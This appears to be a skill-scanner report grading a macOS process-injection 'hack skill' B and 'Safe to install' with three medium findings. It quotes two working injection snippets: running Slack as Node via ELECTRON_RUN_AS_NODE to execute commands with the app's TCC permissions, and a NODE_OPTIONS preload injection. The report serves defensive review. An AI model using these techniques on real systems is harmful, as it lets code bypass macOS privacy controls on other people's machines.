macos-process-injection
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:29:32 GMT
Scan ID crawl-eqfc364fghmiqm0672juneih · 1ms
B
SCORE 75 / 100
Verdict: Safe to install

3 medium findings.

This skill spawns subprocesses outside its declared capabilities plus 2 other issues listed below.

0 critical0 high3 medium9 rules passed

Why grade B?

score · 75 / 100

The current grade reflects 3 medium findings (3+ MEDs → B).

0 CRIT0 HIGH3 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve 1 of 3 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Findings · ordered by severity

med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 269CWE-78
267# Turns Electron app into a plain Node.js runtime
268ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
269 "require('child_process').execSync('id').toString()"spawns a subprocess outside declared capabilities
270
271# This inherits the app's TCC permissions!
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 290CWE-78
288```bash
289# Inject preload script via NODE_OPTIONS
290echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.jsspawns a subprocess outside declared capabilities
291NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"
292```
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
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